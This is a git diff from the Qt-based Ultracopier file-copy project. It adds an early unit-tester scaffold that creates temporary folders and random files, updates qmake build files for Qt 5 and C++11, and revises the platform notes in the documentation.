+ void send_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
+};
+
+#endif // COPY_ENGINE_H
diff --git a/tools/unit-tester/copyEngineUnitTester.cpp b/tools/unit-tester/copyEngineUnitTester.cpp
new file mode 100644
index 0000000..5632576
--- /dev/null
+++ b/tools/unit-tester/copyEngineUnitTester.cpp
@@ -0,0 +1,104 @@
+/** \file copyEngine.cpp
+\brief Define the copy engine
+ */
+
+#include "copyEngineUnitTester.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+
+copyEngineUnitTester::copyEngineUnitTester(const QString &path,const QList<SupportedTest> &tests)
+{
+ this->path=path;
+ connect(&timer,&QTimer::timeout,this,&copyEngineUnitTester::initialize,Qt::QueuedConnection);
+ srand ( time(NULL) );
+}
+
+copyEngineUnitTester::~copyEngineUnitTester()
+{
+ rmpath(path);
+}
+
+void copyEngineUnitTester::errorSlot()
+{
+}
+
+void copyEngineUnitTester::collisionSlot()
+{
+}
+
+void copyEngineUnitTester::initialize()
+{
+ initializeSource();
+}
+
+void copyEngineUnitTester::initializeSource()
+{
+ QDir dir(path);
+ dir.mkpath(path);
+ dir.mkpath(path+"/source/");
+ dir.mkpath(path+"/destination/");
+}
+
+bool copyEngineUnitTester::mkFile(const QString &dir,const quint16 &minSize,const quint16 &maxSize)
+{
+ QString name;
+ int index=0;
+ while(index<(16/4))
+ {
+ name+=QString::number(rand()%10000);
+ index++;
+ }
+ QFile file(dir+"/"+name);
+ if(file.open(QIODevice::WriteOnly))
+ {
+ int size=minSize+(rand()%(maxSize-minSize));
+ int index=0;
+ QByteArray byte;
+ while(index<size)
+ {
+ byte[0]=rand()%256;
+ file.write(byte);
+ index++;
+ }
+ file.close();
+ return true;
+ }
+ else
+ {
+ qDebug() << file.errorString();
+ return false;
+ }
+}
+
+/** remplace QDir::rmpath() because it return false if the folder not exists
+ and seam bug with parent folder */
+bool copyEngineUnitTester::rmpath(const QDir &dir)
+{
+ if(!dir.exists())
+ return true;
+ bool allHaveWork=true;
+ QFileInfoList list = dir.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst);
+ for (int i = 0; i < list.size(); ++i)
+ {
+ QFileInfo fileInfo(list.at(i));
+ if(!fileInfo.isDir())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"found a file: "+fileInfo.fileName());
+ allHaveWork=false;
+ }
+ else
+ {
+ //return the fonction for scan the new folder
+ if(!rmpath(dir.absolutePath()+'/'+fileInfo.fileName()+'/'))
+ allHaveWork=false;
+ }
+ }
+ if(!allHaveWork)
+ return allHaveWork;
+ allHaveWork=dir.rmdir(dir.absolutePath());
+ if(!allHaveWork)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to remove the folder: "+dir.absolutePath());
+ return allHaveWork;
+}
diff --git a/tools/unit-tester/copyEngineUnitTester.h b/tools/unit-tester/copyEngineUnitTester.h
new file mode 100644
index 0000000..c64804c
--- /dev/null
+++ b/tools/unit-tester/copyEngineUnitTester.h
@@ -0,0 +1,46 @@
+/** \file copyEngine.h
+\brief Define the copy engine
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QObject>
+#include <QList>
+#include <QStringList>
+#include <QFileInfo>
+#include <QFile>
+#include <QTimer>
+
+#include "copyEngine.h"
+
+#ifndef COPY_ENGINE_UNIT_TESTER_H
+#define COPY_ENGINE_UNIT_TESTER_H
+
+namespace Ui {
+ class options;
+}
+
+/// \brief the implementation of copy engine plugin, manage directly few stuff, else pass to ListThread class.
+class copyEngineUnitTester : public copyEngine
+{
+ Q_OBJECT
+public:
+ enum SupportedTest{Test_Copy};
+
+ copyEngineUnitTester(const QString &path,const QList<SupportedTest> &tests);
+ ~copyEngineUnitTester();
+private:
+ ListThread *listThread;
+ bool dialogIsOpen;
+ QList<SupportedTest> tests;
+ QTimer timer;
+ QString path;
+ void initializeSource();
+ bool rmpath(const QDir &dir);
+ bool mkFile(const QString &dir,const quint16 &minSize=0,const quint16 &maxSize=65535);
+private slots:
+ void errorSlot();
+ void collisionSlot();
+ void initialize();
+};
+
+#endif // COPY_ENGINE_UNIT_TESTER_H
diff --git a/tools/unit-tester/main.cpp b/tools/unit-tester/main.cpp
new file mode 100644
index 0000000..3731aeb
--- /dev/null
+++ b/tools/unit-tester/main.cpp
@@ -0,0 +1,8 @@
+#include <QCoreApplication>
+
+int main(int argc, char *argv[])
+{
+ QCoreApplication a(argc, argv);
+
+ return a.exec();
+}
diff --git a/tools/unit-tester/unit-tester.pro b/tools/unit-tester/unit-tester.pro
new file mode 100644
index 0000000..65dc00b
--- /dev/null
+++ b/tools/unit-tester/unit-tester.pro
@@ -0,0 +1,42 @@
+#-------------------------------------------------
+#
+# Project created by QtCreator 2012-10-19T22:52:40
+#
+#-------------------------------------------------
+
+QT += core
+
+QT -= gui
+
+TARGET = unit-tester
+CONFIG += console
+CONFIG -= app_bundle
+
+TEMPLATE = app
+
+
+SOURCES += main.cpp \
+ ../../plugins/CopyEngine/Ultracopier/ReadThread.cpp \
+ ../../plugins/CopyEngine/Ultracopier/AvancedQFile.cpp \
+ ../../plugins/CopyEngine/Ultracopier/WriteThread.cpp \
+ ../../plugins/CopyEngine/Ultracopier/TransferThread.cpp \
+ ../../plugins/CopyEngine/Ultracopier/ListThread_InodeAction.cpp \
+ ../../plugins/CopyEngine/Ultracopier/ListThread.cpp \
+ ../../plugins/CopyEngine/Ultracopier/MkPath.cpp \
+ ../../plugins/CopyEngine/Ultracopier/scanFileOrFolder.cpp \
+ ../../plugins/CopyEngine/Ultracopier/RmPath.cpp \
+ copyEngineUnitTester.cpp \
+ copyEngine.cpp
+
+HEADERS += \
+ ../../plugins/CopyEngine/Ultracopier/ReadThread.h \
+ ../../plugins/CopyEngine/Ultracopier/AvancedQFile.h \
+ ../../plugins/CopyEngine/Ultracopier/Variable.h \
+ ../../plugins/CopyEngine/Ultracopier/WriteThread.h \
+ ../../plugins/CopyEngine/Ultracopier/TransferThread.h \
+ ../../plugins/CopyEngine/Ultracopier/ListThread.h \
+ ../../plugins/CopyEngine/Ultracopier/MkPath.h \
+ ../../plugins/CopyEngine/Ultracopier/scanFileOrFolder.h \
+ ../../plugins/CopyEngine/Ultracopier/RmPath.h \
+ copyEngineUnitTester.h \
+ copyEngine.h
diff --git a/ultracopier-all-in-one-direct.pro b/ultracopier-all-in-one-direct.pro
new file mode 100644
index 0000000..3df4fb4
--- /dev/null
+++ b/ultracopier-all-in-one-direct.pro
@@ -0,0 +1,119 @@
+DEFINES += ULTRACOPIER_PLUGIN_ALL_IN_ONE
+
+include(ultracopier-core.pro)
+
+RESOURCES += plugins/static-plugins.qrc \
+ plugins/CopyEngine/Ultracopier/copyEngineResources.qrc \
+ plugins/Themes/Oxygen/interfaceResources_unix.qrc \
+ plugins/Themes/Oxygen/interfaceResources_windows.qrc \
+ plugins/Themes/Oxygen/interfaceResources.qrc
+
+win32:RESOURCES += plugins/static-plugins-windows.qrc
+
+HEADERS -= lib/qt-tar-xz/xz.h \
+ lib/qt-tar-xz/QXzDecodeThread.h \
+ lib/qt-tar-xz/QXzDecode.h \
+ lib/qt-tar-xz/QTarDecode.h \
+ AuthPlugin.h
+SOURCES -= lib/qt-tar-xz/QXzDecodeThread.cpp \
+ lib/qt-tar-xz/QXzDecode.cpp \
+ lib/qt-tar-xz/QTarDecode.cpp \
+ lib/qt-tar-xz/xz_crc32.c \
+ lib/qt-tar-xz/xz_dec_stream.c \
+ lib/qt-tar-xz/xz_dec_lzma2.c \
+ lib/qt-tar-xz/xz_dec_bcj.c \
+ AuthPlugin.cpp
+INCLUDEPATH -= lib/qt-tar-xz/
+
+RESOURCES -= resources/resources-windows-qt-plugin.qrc
+
+DEFINES += ULTRACOPIER_PLUGIN_ALL_IN_ONE
+DEFINES += ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+
+FORMS += \
+ plugins/CopyEngine/Ultracopier/copyEngineOptions.ui \
+ plugins/CopyEngine/Ultracopier/debugDialog.ui \
+ plugins/CopyEngine/Ultracopier/DiskSpace.ui \
+ plugins/CopyEngine/Ultracopier/fileErrorDialog.ui \
+ plugins/CopyEngine/Ultracopier/fileExistsDialog.ui \
+ plugins/CopyEngine/Ultracopier/fileIsSameDialog.ui \
+ plugins/CopyEngine/Ultracopier/FilterRules.ui \
+ plugins/CopyEngine/Ultracopier/Filters.ui \
+ plugins/CopyEngine/Ultracopier/folderExistsDialog.ui \
+ plugins/CopyEngine/Ultracopier/RenamingRules.ui \
+ plugins/Themes/Oxygen/themesOptions.ui \
+ plugins/Themes/Oxygen/options.ui \
+ plugins/Themes/Oxygen/interface.ui
+
+HEADERS += \
+ plugins/CopyEngine/Ultracopier/AvancedQFile.h \
+ plugins/CopyEngine/Ultracopier/CompilerInfo.h \
+ plugins/CopyEngine/Ultracopier/CopyEngine.h \
+ plugins/CopyEngine/Ultracopier/DebugDialog.h \
+ plugins/CopyEngine/Ultracopier/DebugEngineMacro.h \
+ plugins/CopyEngine/Ultracopier/DiskSpace.h \
+ plugins/CopyEngine/Ultracopier/DriveManagement.h \
+ plugins/CopyEngine/Ultracopier/Environment.h \
+ plugins/CopyEngine/Ultracopier/CopyEngineFactory.h \
+ plugins/CopyEngine/Ultracopier/FileErrorDialog.h \
+ plugins/CopyEngine/Ultracopier/FileExistsDialog.h \
+ plugins/CopyEngine/Ultracopier/FileIsSameDialog.h \
+ plugins/CopyEngine/Ultracopier/FilterRules.h \
+ plugins/CopyEngine/Ultracopier/Filters.h \
+ plugins/CopyEngine/Ultracopier/FolderExistsDialog.h \
+ plugins/CopyEngine/Ultracopier/MkPath.h \
+ plugins/CopyEngine/Ultracopier/ListThread.h \
+ plugins/CopyEngine/Ultracopier/ReadThread.h \
+ plugins/CopyEngine/Ultracopier/RenamingRules.h \
+ plugins/CopyEngine/Ultracopier/ScanFileOrFolder.h \
+ plugins/CopyEngine/Ultracopier/StructEnumDefinition_CopyEngine.h \
+ plugins/CopyEngine/Ultracopier/StructEnumDefinition.h \
+ plugins/CopyEngine/Ultracopier/TransferThread.h \
+ plugins/CopyEngine/Ultracopier/Variable.h \
+ plugins/CopyEngine/Ultracopier/WriteThread.h \
+ plugins/Listener/catchcopy-v0002/Variable.h \
+ plugins/Listener/catchcopy-v0002/StructEnumDefinition.h \
+ plugins/Listener/catchcopy-v0002/listener.h \
+ plugins/Listener/catchcopy-v0002/Environment.h \
+ plugins/Listener/catchcopy-v0002/DebugEngineMacro.h \
+ plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.h \
+ plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.h \
+ plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.h \
+ plugins/Listener/catchcopy-v0002/catchcopy-api-0002/VariablesCatchcopy.h \
+ plugins/Themes/Oxygen/DebugEngineMacro.h \
+ plugins/Themes/Oxygen/Environment.h \
+ plugins/Themes/Oxygen/ThemesFactory.h \
+ plugins/Themes/Oxygen/interface.h \
+ plugins/Themes/Oxygen/Variable.h \
+ plugins/Themes/Oxygen/TransferModel.h \
+ plugins/Themes/Oxygen/StructEnumDefinition.h
+
+SOURCES += \
+ plugins/CopyEngine/Ultracopier/AvancedQFile.cpp \
+ plugins/CopyEngine/Ultracopier/CopyEngine-collision-and-error.cpp \
+ plugins/CopyEngine/Ultracopier/CopyEngine.cpp \
+ plugins/CopyEngine/Ultracopier/DebugDialog.cpp \
+ plugins/CopyEngine/Ultracopier/DiskSpace.cpp \
+ plugins/CopyEngine/Ultracopier/DriveManagement.cpp \
+ plugins/CopyEngine/Ultracopier/CopyEngineFactory.cpp \
+ plugins/CopyEngine/Ultracopier/FileErrorDialog.cpp \
+ plugins/CopyEngine/Ultracopier/FileExistsDialog.cpp \
+ plugins/CopyEngine/Ultracopier/FileIsSameDialog.cpp \
+ plugins/CopyEngine/Ultracopier/FilterRules.cpp \
+ plugins/CopyEngine/Ultracopier/Filters.cpp \
+ plugins/CopyEngine/Ultracopier/FolderExistsDialog.cpp \
+ plugins/CopyEngine/Ultracopier/ListThread_InodeAction.cpp \
+ plugins/CopyEngine/Ultracopier/MkPath.cpp \
+ plugins/CopyEngine/Ultracopier/ReadThread.cpp \
+ plugins/CopyEngine/Ultracopier/RenamingRules.cpp \
+ plugins/CopyEngine/Ultracopier/ScanFileOrFolder.cpp \
+ plugins/CopyEngine/Ultracopier/TransferThread.cpp \
+ plugins/CopyEngine/Ultracopier/WriteThread.cpp \
+ plugins/CopyEngine/Ultracopier/ListThread.cpp \
+ plugins/Listener/catchcopy-v0002/listener.cpp \
+ plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.cpp \
+ plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.cpp \
+ plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.cpp \
+ plugins/Themes/Oxygen/ThemesFactory.cpp \
+ plugins/Themes/Oxygen/interface.cpp \
+ plugins/Themes/Oxygen/TransferModel.cpp
diff --git a/ultracopier.pro b/ultracopier-core.pro
index dd33bc5..d5b382e 100644
--- a/ultracopier.pro
+++ b/ultracopier-core.pro
@@ -1,50 +1,58 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
TEMPLATE = app
-QT += network xml
-TRANSLATIONS += plugins/Languages/fr/translation.ts \
- plugins/Languages/ar/translation.ts \
- plugins/Languages/zh/translation.ts \
- plugins/Languages/es/translation.ts \
+QT += network xml widgets
+TRANSLATIONS += plugins/Languages/ar/translation.ts \
plugins/Languages/de/translation.ts \
plugins/Languages/el/translation.ts \
+ resources/Languages/en/translation.ts \
+ plugins/Languages/es/translation.ts \
+ plugins/Languages/fr/translation.ts \
+ plugins/Languages/hi/translation.ts \
+ plugins/Languages/hu/translation.ts \
+ plugins/Languages/id/translation.ts \
plugins/Languages/it/translation.ts \
plugins/Languages/ja/translation.ts \
- plugins/Languages/id/translation.ts \
- plugins/Languages/pl/translation.ts \
- plugins/Languages/ru/translation.ts \
- plugins/Languages/tr/translation.ts \
- plugins/Languages/th/translation.ts \
- plugins/Languages/hi/translation.ts \
+ plugins/Languages/ko/translation.ts \
plugins/Languages/nl/translation.ts \
plugins/Languages/no/translation.ts \
+ plugins/Languages/pl/translation.ts \
plugins/Languages/pt/translation.ts \
- plugins/Languages/ko/translation.ts
+ plugins/Languages/ru/translation.ts \
+ plugins/Languages/th/translation.ts \
+ plugins/Languages/tr/translation.ts \
+ plugins/Languages/zh/translation.ts
-win32:RC_FILE += resources/resources-windows.rc
TARGET = ultracopier
-macx {
+macx {
ICON = resources/ultracopier.icns
+ #QT += macextras
}
FORMS += HelpDialog.ui \
PluginInformation.ui \
- OptionDialog.ui
-RESOURCES += resources/resources.qrc
+ OptionDialog.ui \
+ OSSpecific.ui
+RESOURCES += \
+ resources/ultracopier-resources.qrc \
+ resources/ultracopier-resources_unix.qrc \
+ resources/ultracopier-resources_windows.qrc
win32 {
- RESOURCES += resources/resources_windows.qrc
-}
-!win32 {
- RESOURCES += resources/resources_unix.qrc
+ RESOURCES += resources/resources-windows-qt-plugin.qrc
+ RC_FILE += resources/resources-windows.rc
+ #LIBS += -lpdh
+ LIBS += -ladvapi32
}
HEADERS += ResourcesManager.h \
ThemesManager.h \
SystrayIcon.h \
StructEnumDefinition.h \
- Singleton.h \
EventDispatcher.h \
Environment.h \
DebugEngine.h \
Core.h \
- GlobalClass.h \
OptionEngine.h \
HelpDialog.h \
PluginsManager.h \
@@ -55,7 +63,6 @@ HEADERS += ResourcesManager.h \
lib/qt-tar-xz/QXzDecodeThread.h \
lib/qt-tar-xz/QXzDecode.h \
lib/qt-tar-xz/QTarDecode.h \
- AuthPlugin.h \
SessionLoader.h \
ExtraSocket.h \
CopyListener.h \
@@ -77,13 +84,14 @@ HEADERS += ResourcesManager.h \
FacilityEngine.h \
LogThread.h \
CompilerInfo.h \
- StructEnumDefinition_UltracopierSpecific.h
+ StructEnumDefinition_UltracopierSpecific.h \
+ OSSpecific.h \
+ InternetUpdater.h
SOURCES += ThemesManager.cpp \
ResourcesManager.cpp \
main.cpp \
EventDispatcher.cpp \
SystrayIcon.cpp \
- GlobalClass.cpp \
DebugEngine.cpp \
OptionEngine.cpp \
HelpDialog.cpp \
@@ -97,7 +105,6 @@ SOURCES += ThemesManager.cpp \
lib/qt-tar-xz/xz_dec_stream.c \
lib/qt-tar-xz/xz_dec_lzma2.c \
lib/qt-tar-xz/xz_dec_bcj.c \
- AuthPlugin.cpp \
SessionLoader.cpp \
ExtraSocket.cpp \
CopyListener.cpp \
@@ -109,11 +116,10 @@ SOURCES += ThemesManager.cpp \
LocalListener.cpp \
CliParser.cpp \
FacilityEngine.cpp \
- LogThread.cpp
+ LogThread.cpp \
+ OSSpecific.cpp \
+ DebugModel.cpp \
+ InternetUpdater.cpp
INCLUDEPATH += lib/qt-tar-xz/
-OTHER_FILES += \
- resources/resources-windows.rc \
- resources/ultracopier.exe.x86.manifest \
- resources/ultracopier.exe.amd64.manifest
-
+OTHER_FILES += resources/resources-windows.rc
diff --git a/ultracopier-static.pro b/ultracopier-static.pro
new file mode 100644
index 0000000..27bf2b9
--- /dev/null
+++ b/ultracopier-static.pro
@@ -0,0 +1,6 @@
+include(static.pro)
+
+RESOURCES += plugins/static-plugins-oxygen.qrc \
+ plugins/Themes/Oxygen/interfaceResources_windows.qrc \
+ plugins/Themes/Oxygen/interfaceResources_unix.qrc \
+ plugins/Themes/Oxygen/interfaceResources.qrc
diff --git a/ultracopier.dox b/ultracopier.dox
index b19b2d7..47b83b3 100755..100644
--- a/ultracopier.dox
+++ b/ultracopier.dox
@@ -20,8 +20,8 @@
\section mainpage_platforms Platforms
- Ultracopier might be usable in all environments where you find Qt 4.\n
- Ultracopier requires Qt 4.5.x or newer. Tested on Qt 4.7. Due to optimization Qt 4.8 usage will be better.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.4 or newer. Tested on Qt 5.4.
\section mainpage_downloads Downloads
@@ -31,7 +31,7 @@
\section license GPL Version 3
The core, and some default plugin are under GPL Version 3. See into each part to see the license.\n
document-save.png -> all SystemTrayIcon/systray_* (color alteration) done by png manipulation of KDE's oxygen icon pack.\n
- From 16x16/actions/: arrow-down.png -> moveDown.png, arrow-up.png -> moveUp.png, document-encrypt.png -> document-encrypt.png \n
+ From 16x16/actions/: arrow-down.png -> moveDown.png, arrow-up.png -> moveUp.png \n
All Ultracopier are from devices/drive-removable-media-usb.png, and same icon with U is touched by gimp.\n
from 128x128: actions/application-exit.png -> none-128x128.png, apps/kbugbuster.png -> bug-128x128.png